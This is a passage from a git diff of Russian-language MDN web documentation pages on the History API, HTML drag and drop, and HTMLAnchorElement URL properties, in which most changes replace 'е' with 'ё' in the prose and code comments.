раз нажимает кнопку <strong>"Назад"</strong>, URL изменится на <code>http://mozilla.org/foo.html</code>, а в документе снова произойдёт событие <code>popstate</code>, на этот раз с объектом состояния, имеющим значение <code>null</code>. В этом случае возврат назад также не меняет содержимое документа, как и на предыдущем шаге, хотя документ может сам обновить своё содержимое после получения события <code>popstate</code>.</p> diff --git a/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html b/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html index 0ebd022362..24931b8d5b 100644 --- a/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html +++ b/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html @@ -31,12 +31,12 @@ original_slug: Web/Guide/HTML/Drag_and_drop/Drag_operations </p> </pre> -<p>Атрибут <code>{{htmlattrxref("draggable")}}</code> установлен в <code>"true"</code>, т.о. этот элемент становится перетаскиваемым. Если этот атрибут был опущен или установлен в <code>"false"</code>, то элемент не может быть перенесен, и вместо этого будет выбран текст.</p> +<p>Атрибут <code>{{htmlattrxref("draggable")}}</code> установлен в <code>"true"</code>, т.о. этот элемент становится перетаскиваемым. Если этот атрибут был опущен или установлен в <code>"false"</code>, то элемент не может быть перенесён, и вместо этого будет выбран текст.</p> <p>Атрибут <code>{{htmlattrxref("draggable")}}</code> может быть использован для любого элемента, включая изображения и ссылки. Однако, для последних двух, значение по умолчанию - <code>true</code>, т.о. вы можете только использовать атрибут <code>{{htmlattrxref("draggable")}}</code> со значением <code>false</code> для отключение перетаскивания этих элементов.</p> <div class="blockIndicator note"> -<p><strong>Примечание:</strong> Когда элемент становится перетаскиваемыми, текст или другие элементы в нем больше не могут быть выбраны обычным способом, щелкая и перетаскивая мышью. Вместо этого пользователь должен удерживать клавишу <kbd>Alt</kbd> чтобы выбрать текст с помощью мыши или клавиатуры.</p> +<p><strong>Примечание:</strong> Когда элемент становится перетаскиваемыми, текст или другие элементы в нем больше не могут быть выбраны обычным способом, щёлкая и перетаскивая мышью. Вместо этого пользователь должен удерживать клавишу <kbd>Alt</kbd> чтобы выбрать текст с помощью мыши или клавиатуры.</p> </div> <h2 id="dragstart" name="dragstart">Начало операции перетаскивания</h2> @@ -81,7 +81,7 @@ dt.setData("text/uri-list", "https://www.mozilla.org"); dt.setData("text/plain", "https://www.mozilla.org"); </pre> -<p>Добавлены данные трех различных форматов. Первый тип - <code>application/x.bookmark</code>, пользовательский тип.Другие приложения не поддерживают данный тип, но вы можете использовать пользовательский тип для перетаскивания между областями в одном приложение или на одной странице.</p> +<p>Добавлены данные трёх различных форматов. Первый тип - <code>application/x.bookmark</code>, пользовательский тип.Другие приложения не поддерживают данный тип, но вы можете использовать пользовательский тип для перетаскивания между областями в одном приложение или на одной странице.</p> <p>Предоставляя данные и в других типах, мы также можем поддерживать перетаскивание в другие приложения в менее специфичных формах. Тип <code>application/x.bookmark</code> может предоставлять данные с более подробной информацией для использования в приложении, в то время как другие типы могут включать только один URL-адрес или текстовую версию.</p> @@ -98,7 +98,7 @@ dt.setData("text/plain", "https://www.mozilla.org"); <h2 id="dragfeedback" name="dragfeedback">Настройка изображения отклика drag</h2> -<p>Когда происходит перетаскивание, полупрозрачное изображение генерируется из цели перетаскивания (событие "{{event("dragstart")}}" элемента срабатывает), и следует за указателем пользователя во время перетаскивания. Это изображение создается автоматически, поэтому вам не нужно создавать его самостоятельно. Однако вы можете использовать {{domxref("DataTransfer.setDragImage","setDragImage()")}} для задания пользовательского изображения отклика перетаскивания.</p> +<p>Когда происходит перетаскивание, полупрозрачное изображение генерируется из цели перетаскивания (событие "{{event("dragstart")}}" элемента срабатывает), и следует за указателем пользователя во время перетаскивания. Это изображение создаётся автоматически, поэтому вам не нужно создавать его самостоятельно. Однако вы можете использовать {{domxref("DataTransfer.setDragImage","setDragImage()")}} для задания пользовательского изображения отклика перетаскивания.</p> <pre class="brush: js">event.dataTransfer.setDragImage(image, xOffset, yOffset); </pre> @@ -131,7 +131,7 @@ dt.setData("text/plain", "https://www.mozilla.org"); <p>При перетаскивании можно выполнить несколько операций. Операция <code>copy</code> используется для указания на то, что перетаскиваемые данные будут скопированы из текущего местоположения в место перетаскивания. Операция <code>move</code> используется для указания на то, что перетаскиваемые данные будут перемещены, а операция <code>link</code> используется для указания на то, что между исходным и удаляемым местоположениями будет создана некоторая форма связи или соединения.</p> -<p>Вы можете указать, какая из трех операций разрешена для источника перетаскивания, установив свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} в обработчике событий<code>{{event("dragstart")}}</code>.</p> +<p>Вы можете указать, какая из трёх операций разрешена для источника перетаскивания, установив свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} в обработчике событий<code>{{event("dragstart")}}</code>.</p> <pre class="brush: js">event.dataTransfer.effectAllowed = "copy"; </pre> @@ -161,13 +161,13 @@ dt.setData("text/plain", "https://www.mozilla.org"); <dd>Значение по умолчанию <code>all</code>.</dd> </dl> -<p>Обратите внимание, что эти значения должны использоваться так, как указано выше. Например, установка свойства {{domxref("DataTransfer.effectAllowed","effectAllowed")}} на <code>copyMove</code> позволяет выполнять операцию копирования или перемещения, но не позволяет пользователю выполнять операцию связывания. Если вы не измените свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}}, то любая операция разрешена, как и со значением '<code>all</code>'. Поэтому вам не нужно настраивать это свойство, если вы не хотите исключить определенные типы.</p> +<p>Обратите внимание, что эти значения должны использоваться так, как указано выше. Например, установка свойства {{domxref("DataTransfer.effectAllowed","effectAllowed")}} на <code>copyMove</code> позволяет выполнять операцию копирования или перемещения, но не позволяет пользователю выполнять операцию связывания. Если вы не измените свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}}, то любая операция разрешена, как и со значением '<code>all</code>'. Поэтому вам не нужно настраивать это свойство, если вы не хотите исключить определённые типы.</p> <p>Во время операции перетаскивания, обработчик для событий <code>{{event("dragenter")}}</code> или <code>{{event("dragover")}}</code> может проверить свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} , какие операции разрешены. Связанное свойство, {{domxref("DataTransfer.dropEffect","dropEffect")}}, должно быть установлено в пределах одного из этих событий, чтобы указать, какая единственная операция должна быть выполнена. Допустимые значения для {{domxref("DataTransfer.dropEffect","dropEffect")}} - <code>none</code>, <code>copy</code>, <code>move</code>, или <code>link</code>. Комбинированные значения для этого свойства не используются.</p> <p>С событиями <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code>, свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} инициализируется в соответствии с запросом пользователя. Пользователь может изменить желаемый эффект, нажав клавиши-модификаторы. Хотя точные используемые клавиши различаются в зависимости от платформы, обычно клавиши <kbd>Shift</kbd> и <kbd>Control</kbd> используются для переключения между копированием, перемещением и связыванием. Указатель мыши изменится, чтобы указать, какая операция требуется. Например, для <code>copy</code> курсор может появиться со знаком плюс рядом с ним.</p> -<p>Вы можете изменять свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} во время событий <code>{{event("dragenter")}}</code> или <code>{{event("dragover")}}</code>, например, определенная drop-цель поддерживает только определенные операции. Вы можете изменить свойство {{domxref("DataTransfer.dropEffect","dropEffect")}}, чтобы переопределить действие пользователя, и обеспечить выполнение специфичной операции перетаскивания при ее наступлении. Обратите внимание, что этот эффект должен быть указан в списке свойств {{domxref("DataTransfer.effectAllowed","effectAllowed")}}. В противном случае ему будет присвоено другое допустимое значение.</p> +<p>Вы можете изменять свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} во время событий <code>{{event("dragenter")}}</code> или <code>{{event("dragover")}}</code>, например, определённая drop-цель поддерживает только определённые операции. Вы можете изменить свойство {{domxref("DataTransfer.dropEffect","dropEffect")}}, чтобы переопределить действие пользователя, и обеспечить выполнение специфичной операции перетаскивания при её наступлении. Обратите внимание, что этот эффект должен быть указан в списке свойств {{domxref("DataTransfer.effectAllowed","effectAllowed")}}. В противном случае ему будет присвоено другое допустимое значение.</p> <pre class="brush: js">event.dataTransfer.dropEffect = "copy"; </pre> @@ -182,17 +182,17 @@ dt.setData("text/plain", "https://www.mozilla.org"); <p>Слушатель для событий <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code> используются для указания допустимых drop-целей, то есть мест, где могут быть сброшены перетаскиваемые элементы. Большинство областей веб-страницы или приложения не являются допустимыми местами для сброса данных. Таким образом, обработка этих событий по умолчанию не допускает сброса перетаскиваемых данных.</p> -<p>Если вы хотите разрешить сброс переносимых данных, вы должны предотвратить обработку по умолчанию, отменив оба события <code>dragenter</code> и <code>dragover</code>. Это можно сделать, либо вернув <code>false</code> из определенных атрибутом обработчика событий, либо вызвав метод {{domxref("Event.preventDefault","preventDefault()")}} событие. Последнее может быть более осуществимо в функции, определенной в отдельном скрипте.</p> +<p>Если вы хотите разрешить сброс переносимых данных, вы должны предотвратить обработку по умолчанию, отменив оба события <code>dragenter</code> и <code>dragover</code>. Это можно сделать, либо вернув <code>false</code> из определённых атрибутом обработчика событий, либо вызвав метод {{domxref("Event.preventDefault","preventDefault()")}} событие. Последнее может быть более осуществимо в функции, определённой в отдельном скрипте.</p> <pre class="brush: html"><div ondragover="return false"> <div ondragover="event.preventDefault()"> </pre> -<p>Вызывая метод {{domxref("Event.preventDefault","preventDefault()")}} во время обоих событий <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code> укажите, что падение разрешено в этом месте. Однако обычно вы захотите вызвать метод {{domxref("Event.preventDefault","preventDefault()")}} события только в определенных ситуациях (например, только при перетаскивании ссылки).</p> +<p>Вызывая метод {{domxref("Event.preventDefault","preventDefault()")}} во время обоих событий <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code> укажите, что падение разрешено в этом месте. Однако обычно вы захотите вызвать метод {{domxref("Event.preventDefault","preventDefault()")}} события только в определённых ситуациях (например, только при перетаскивании ссылки).</p> -<p>Для этого вызовите функцию, которая проверяет условие и отменяет событие только при его выполнении. Если условие не выполнено, не отменяйте событие, и сброс перетаскиваемых данных не произойдет, если пользователь отпустит кнопку мыши.</p> +<p>Для этого вызовите функцию, которая проверяет условие и отменяет событие только при его выполнении. Если условие не выполнено, не отменяйте событие, и сброс перетаскиваемых данных не произойдёт, если пользователь отпустит кнопку мыши.</p> -<p>Наиболее распространенным является принятие или отклонение сброса в зависимости от типа данных перетаскивания при передаче данных — например, разрешение для изображений, ссылок или и того, и другого. Для этого вы можете проверить свойство {{domxref("DataTransfer.types","types")}} события {{domxref("DragEvent.dataTransfer","dataTransfer")}} (свойство). Свойство {{domxref("DataTransfer.types","types")}} возвращает массив из строк, добавленных при начале перетаскивания, в порядке от наиболее значимого к наименее значимому.</p> +<p>Наиболее распространённым является принятие или отклонение сброса в зависимости от типа данных перетаскивания при передаче данных — например, разрешение для изображений, ссылок или и того, и другого. Для этого вы можете проверить свойство {{domxref("DataTransfer.types","types")}} события {{domxref("DragEvent.dataTransfer","dataTransfer")}} (свойство). Свойство {{domxref("DataTransfer.types","types")}} возвращает массив из строк, добавленных при начале перетаскивания, в порядке от наиболее значимого к наименее значимому.</p> <pre class="brush: js">function doDragOver(event) { const isLink = event.dataTransfer.types.includes("text/uri-list"); @@ -201,7 +201,7 @@ dt.setData("text/plain", "https://www.mozilla.org"); } }</pre> -<p>В этом примере мы используем метод <code>includes</code> чтобы проверить, присутствует ли тип <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code> в списке типов. Если это так, мы отменим событие, так что сброс становится разрешен. Если перетаскиваемые данные не содержат ссылки, событие не будет отменено, и сброс не может произойти в этом месте.</p> +<p>В этом примере мы используем метод <code>includes</code> чтобы проверить, присутствует ли тип <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code> в списке типов. Если это так, мы отменим событие, так что сброс становится разрешён. Если перетаскиваемые данные не содержат ссылки, событие не будет отменено, и сброс не может произойти в этом месте.</p> <p>Вы также можете установить либо свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}}, либо свойство{{domxref("DataTransfer.dropEffect","dropEffect")}}, либо оба одновременно, если вы хотите указать более конкретные сведения о типе операции, которая будет выполнена. Естественно, изменение любого свойства не будет иметь никакого эффекта, если вы не отмените событие.</p> @@ -299,7 +299,7 @@ dt.setData("text/plain", "https://www.mozilla.org"); <p>Если свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} имеет значение <code>none</code> во время события <code>{{event("dragend")}}</code>, то перетаскивание было отменено. В противном случае эффект указывает, какая операция была выполнена. Источник может использовать эту информацию после операции перемещения для удаления перетаскиваемого элемента из старого расположения. Свойство {{domxref("DataTransfer.mozUserCancelled","mozUserCancelled")}} будет присвоено значение <code>true</code>, если пользователь отменил перетаскивание (нажав <kbd>Escape</kbd>), и <code>false</code> если перетаскивание было отменено по другим причинам, таким как недопустимая цель перетаскивания, или если оно было успешным.</p> -<p>Сброс может произойти внутри того же окна или над другим приложением. Событие<code>{{event("dragend")}}</code>будет срабатывать всегда, независимо от этого. Свойство события {{domxref("MouseEvent.screenX","screenX")}} и {{domxref("MouseEvent.screenY","screenY")}} будут установлены в координаты экрана, где произошел сброс.</p> +<p>Сброс может произойти внутри того же окна или над другим приложением. Событие<code>{{event("dragend")}}</code>будет срабатывать всегда, независимо от этого. Свойство события {{domxref("MouseEvent.screenX","screenX")}} и {{domxref("MouseEvent.screenY","screenY")}} будут установлены в координаты экрана, где произошёл сброс.</p> <p>Когда событие <code>{{event("dragend")}}</code> завершило распространение, операция перетаскивания завершена.</p> diff --git a/files/ru/web/api/html_drag_and_drop_api/index.html b/files/ru/web/api/html_drag_and_drop_api/index.html index 1e434f28af..d88ca60276 100644 --- a/files/ru/web/api/html_drag_and_drop_api/index.html +++ b/files/ru/web/api/html_drag_and_drop_api/index.html @@ -14,9 +14,9 @@ original_slug: Web/Guide/HTML/Drag_and_drop <ul> <li>Определить переносимый элемент. Присвоить true атрибуту draggable элемента, который мы хотим перенести. Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#draggableattribute">The Draggable Attribute</a>.</li> - <li>Определить данные, которые могут быть перемещены, они могут быть разного формата. К примеру, текстовые данные, содержащие строку текста который может быть перемещен. Для детальной информации смотрите <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>.</li> + <li>Определить данные, которые могут быть перемещены, они могут быть разного формата. К примеру, текстовые данные, содержащие строку текста который может быть перемещён. Для детальной информации смотрите <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>.</li> <li>(Необязательно) Определить изображение которое будет рядом с указателем мыши на протяжении всей операции перетаскивания. Если пользовательское изображение не будет определено, будет сгенерирована картинка по умолчанию, в зависимости от элемента, на котором была зажата кнопка мыши (что будет означать, что элемент переносят). Ознакомиться детально с установкой изображения перетаскивания можно по ссылке <a href="/en-US/docs/DragDrop/Drag_Operations#dragfeedback" title="Setting the Drag Feedback Image">Setting the Drag Feedback Image</a>.</li> - <li>Определить возможные эффекты переноса. Возможны три таких эффекта: <code>copy</code> показывает, что перемещаемые данные копируются из прежнего места расположения в новое, <code>move</code> показывает, что перемещаемые данные полностью переносятся на новое место, и <code>link</code> показывает, что создается некая форма взаимодействия или связи между исходной точкой и точкой назначения. На протяжении операции перемещения, картинка которая следует за курсором мыши может меняться в зависимости от того, может ли элемент быть перемещен в область под курсором. Если перенос разрешен, перемещение может быть произведено. Смотрите <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a> для детальной информации.</li> + <li>Определить возможные эффекты переноса. Возможны три таких эффекта: <code>copy</code> показывает, что перемещаемые данные копируются из прежнего места расположения в новое, <code>move</code> показывает, что перемещаемые данные полностью переносятся на новое место, и <code>link</code> показывает, что создаётся некая форма взаимодействия или связи между исходной точкой и точкой назначения. На протяжении операции перемещения, картинка которая следует за курсором мыши может меняться в зависимости от того, может ли элемент быть перемещён в область под курсором. Если перенос разрешён, перемещение может быть произведено. Смотрите <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a> для детальной информации.</li> <li>Определить область назначения. По умолчанию браузер не позволяет перемещать что-либо на HTML элемент. Однако, чтобы сделать элемент активным для перемещения других элементов на него, просто отмените действие по умолчанию. То есть, подпишитесь на события "ondragenter" или "ondragover". Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#droptargets">Specifying Drop Targets</a>.</li> <li>Обработать завершение переноса. Вы можете получить данные из переносимого элемента и произвести над ними необходимые операции. Для детальной информации, пожалуйста, смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#drop">Performing a Drop</a>.</li> </ul> @@ -48,7 +48,7 @@ original_slug: Web/Guide/HTML/Drag_and_drop <dt><code>dragstart</code></dt> <dd>Срабатывает когда элемент начал перемещаться. В момент срабатывания события <code>dragstart</code> пользователь начинает перетаскивание элемента. Обработчик данного события может быть использован для сохранения информации о перемещаемом объекте, а также для изменения изображения, которое будет ассоциировано с перемещением. Данное событие не срабатывает, когда некоторый файл будет переноситься из операционной системы в браузер. Для детальной информации <a href="/en-US/docs/DragDrop/Drag_Operations#dragstart" title="Starting a Drag Operation">Starting a Drag Operation</a>.</dd> <dt><code>dragenter</code></dt> - <dd>Срабатывает, когда перемещаемый элемент попадает на элемент-назначение. Обработчик этого события показывает, что элемент находится над объектом на который он может быть перенесен. Если же обработчика нет, либо он не совершает никаких действий перемещение по умолчанию запрещено. Это событие также используется для того, чтобы подсветить либо промаркировать объект над которым происходит перемещения в случае, если перемещение на данный элемент разрешено. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd> + <dd>Срабатывает, когда перемещаемый элемент попадает на элемент-назначение. Обработчик этого события показывает, что элемент находится над объектом на который он может быть перенесён. Если же обработчика нет, либо он не совершает никаких действий перемещение по умолчанию запрещено. Это событие также используется для того, чтобы подсветить либо промаркировать объект над которым происходит перемещения в случае, если перемещение на данный элемент разрешено. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd> <dt><code>dragover</code></dt> <dd>Данное событие срабатывает каждые несколько сотен миллисекунд, когда перемещаемый элемент оказывается над зоной, принимающей перетаскиваемые элементы. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd> <dt><code>dragleave</code></dt> @@ -56,7 +56,7 @@ original_slug: Web/Guide/HTML/Drag_and_drop <dt><code>drag</code></dt> <dd>Запускается при перемещении элемента или выделенного текста.</dd> <dt><code>drop</code></dt> - <dd>Событие <code>drop</code> вызывается для элемента, над которым произошло "сбрасывание" перемещаемого элемента. Событие отвечает за извлечение "сброшенных" данных и их вставку. Событие будет срабатывать только при завершении операции перетаскивания, например, событие не сработает, если пользователь отменит перетаскивание нажатием Esc, или не донесет элемент, до цели. Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/DragDrop/Drag_Operations#drop" title="Performing a Drop">Performing a Drop</a>.</dd> + <dd>Событие <code>drop</code> вызывается для элемента, над которым произошло "сбрасывание" перемещаемого элемента. Событие отвечает за извлечение "сброшенных" данных и их вставку. Событие будет срабатывать только при завершении операции перетаскивания, например, событие не сработает, если пользователь отменит перетаскивание нажатием Esc, или не донесёт элемент, до цели. Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/DragDrop/Drag_Operations#drop" title="Performing a Drop">Performing a Drop</a>.</dd> <dt><code>dragend</code></dt> <dd>Источник перетаскивания получит событие dragend, когда перетаскивание завершится, было оно удачным или нет. Это событие не вызывается при перетаскивании файла в браузер из ОС. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#dragend" title="Finishing a Drag">Finishing a Drag</a>.</dd> </dl> diff --git a/files/ru/web/api/htmlanchorelement/hash/index.html b/files/ru/web/api/htmlanchorelement/hash/index.html index e190f78636..32bc1b5ecc 100644 --- a/files/ru/web/api/htmlanchorelement/hash/index.html +++ b/files/ru/web/api/htmlanchorelement/hash/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/hash <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.hash; // Вернет: '#youhou'</pre> +var result = anchor.hash; // Вернёт: '#youhou'</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/hostname/index.html b/files/ru/web/api/htmlanchorelement/hostname/index.html index ef35c6709f..97fb6a472b 100644 --- a/files/ru/web/api/htmlanchorelement/hostname/index.html +++ b/files/ru/web/api/htmlanchorelement/hostname/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/hostname <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.hostname"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.hostname; // Вернет: 'developer.mozilla.org'</pre> +var result = anchor.hostname; // Вернёт: 'developer.mozilla.org'</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/href/index.html b/files/ru/web/api/htmlanchorelement/href/index.html index 0f03176a62..a295ccfa16 100644 --- a/files/ru/web/api/htmlanchorelement/href/index.html +++ b/files/ru/web/api/htmlanchorelement/href/index.html @@ -26,7 +26,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/href <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> var anchor = document.getElementById("myAnchor"); -var result = anchor.href; // Вернет: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href' +var result = anchor.href; // Вернёт: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/index.html b/files/ru/web/api/htmlanchorelement/index.html index 11f17a3c80..930449ad39 100644 --- a/files/ru/web/api/htmlanchorelement/index.html +++ b/files/ru/web/api/htmlanchorelement/index.html @@ -20,7 +20,7 @@ translation_of: Web/API/HTMLAnchorElement <dt>{{domxref("HTMLAnchorElement.charset")}} {{obsolete_inline}}</dt> <dd>Это {{domxref("DOMString")}} отображает кодировку символов связанного ресурса.</dd> <dt>{{domxref("HTMLAnchorElement.coords")}} {{obsolete_inline}}</dt> - <dd>Это {{domxref("DOMString")}} отображает список координат разделенный запятыми.</dd> + <dd>Это {{domxref("DOMString")}} отображает список координат разделённый запятыми.</dd> <dt>{{domxref("HTMLAnchorElement.download")}} {{experimental_inline}}</dt> <dd>Это {{domxref("DOMString")}} показывать что связанный ресурс предназначен для загрузки, а не для отображения в браузере. Значение представляет предполагаемое имя файла. Если имя не является допустимым именем файла нижележащей ОС, браузер будет адаптировать его. Значение это URL по схеме <code>http:</code>, <code>file:</code>, <code>data:</code> или даже <code>blob:</code> (созданный с помощью {{domxref("URL.createObjectURL")}}).</dd> <dt>{{domxref("URLUtils.hash")}}</dt> @@ -68,7 +68,7 @@ translation_of: Web/API/HTMLAnchorElement <dt>{{domxref("HTMLAnchorElement.type")}}</dt> <dd>Это {{domxref("DOMString")}} которое отображает {{htmlattrxref("type", "a")}} HTML атрибут, показывающий MIME тип связанного ресурса.</dd> <dt>{{domxref("URLUtils.username")}}</dt> - <dd>Это {{domxref("DOMString")}} содержащий имя пользователя определенное перед именем домена.</dd> + <dd>Это {{domxref("DOMString")}} содержащий имя пользователя определённое перед именем домена.</dd> </dl> <h2 id="Методы">Методы</h2> @@ -79,7 +79,7 @@ translation_of: Web/API/HTMLAnchorElement <dt>{{domxref("HTMLElement.blur()")}}</dt> <dd>Удаляет фокус клавиатуры из текущего элемента.</dd> <dt>{{domxref("HTMLElement.focus()")}}</dt> - <dd>Дает фокус клавиатуры на текущий элемент.</dd> + <dd>Даёт фокус клавиатуры на текущий элемент.</dd> <dt>{{domxref("URLUtils.toString()")}}</dt> <dd>Возвращает {{domxref("DOMString")}} содержащий весь URl. Это синоним {{domxref("URLUtils.href")}}, хотя он не может быть использован для изменения значения.</dd> </dl> diff --git a/files/ru/web/api/htmlanchorelement/origin/index.html b/files/ru/web/api/htmlanchorelement/origin/index.html index 571cc669db..a9ad24f508 100644 --- a/files/ru/web/api/htmlanchorelement/origin/index.html +++ b/files/ru/web/api/htmlanchorelement/origin/index.html @@ -32,7 +32,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/origin <h2 id="Примеры">Примеры</h2> <pre class="brush: js">// На этой странице -var result = window.location.origin; // Вернет: 'https://developer.mozilla.org' +var result = window.location.origin; // Вернёт: 'https://developer.mozilla.org' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/password/index.html b/files/ru/web/api/htmlanchorelement/password/index.html index c6a5751d25..c38ec9c4a6 100644 --- a/files/ru/web/api/htmlanchorelement/password/index.html +++ b/files/ru/web/api/htmlanchorelement/password/index.html @@ -26,7 +26,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/password <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.password; // Вернет: 'flabada' +var result = anchor.password; // Вернёт: 'flabada' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/pathname/index.html b/files/ru/web/api/htmlanchorelement/pathname/index.html index ceda85555f..d971a47d88 100644 --- a/files/ru/web/api/htmlanchorelement/pathname/index.html +++ b/files/ru/web/api/htmlanchorelement/pathname/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/pathname <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"> var anchor = document.getElementById("myAnchor"); -var result = anchor.pathname; // Вернет: '/en-US/docs/HTMLHyperlinkElementUtils.pathname' +var result = anchor.pathname; // Вернёт: '/en-US/docs/HTMLHyperlinkElementUtils.pathname' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/port/index.html b/files/ru/web/api/htmlanchorelement/port/index.html index 5cb032d0c5..5ea0c1df77 100644 --- a/files/ru/web/api/htmlanchorelement/port/index.html +++ b/files/ru/web/api/htmlanchorelement/port/index.html @@ -26,7 +26,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/port <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.port"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.port; // Вернет: '80' +var result = anchor.port; // Вернёт: '80' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/protocol/index.html b/files/ru/web/api/htmlanchorelement/protocol/index.html index 7de2513b9f..f4e9cf46bf 100644 --- a/files/ru/web/api/htmlanchorelement/protocol/index.html +++ b/files/ru/web/api/htmlanchorelement/protocol/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/protocol <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils.protocol"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.protocol; // Вернет: 'https:' +var result = anchor.protocol; // Вернёт: 'https:' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/search/index.html b/files/ru/web/api/htmlanchorelement/search/index.html index 18b716d835..85940c7ace 100644 --- a/files/ru/web/api/htmlanchorelement/search/index.html +++ b/files/ru/web/api/htmlanchorelement/search/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/search <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123"> var anchor = document.getElementById("myAnchor"); -var result = anchor.search; // Вернет: '?q=123' +var result = anchor.search; // Вернёт: '?q=123' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/tostring/index.html b/files/ru/web/api/htmlanchorelement/tostring/index.html index 1b02751e90..3078b219e0 100644 --- a/files/ru/web/api/htmlanchorelement/tostring/index.html +++ b/files/ru/web/api/htmlanchorelement/tostring/index.html @@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/toString <pre class="brush: js">// <code class="language-js"><span class="comment token">Допустим, что документ содержит элемент</span></code> <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString"> var anchor = document.getElementById("myAnchor"); -var result = anchor.toString(); // Вернет: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString' +var result = anchor.toString(); // Вернёт: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlanchorelement/username/index.html b/files/ru/web/api/htmlanchorelement/username/index.html index c212668e7e..b6ff99a04a 100644 --- a/files/ru/web/api/htmlanchorelement/username/index.html +++ b/files/ru/web/api/htmlanchorelement/username/index.html @@ -24,7 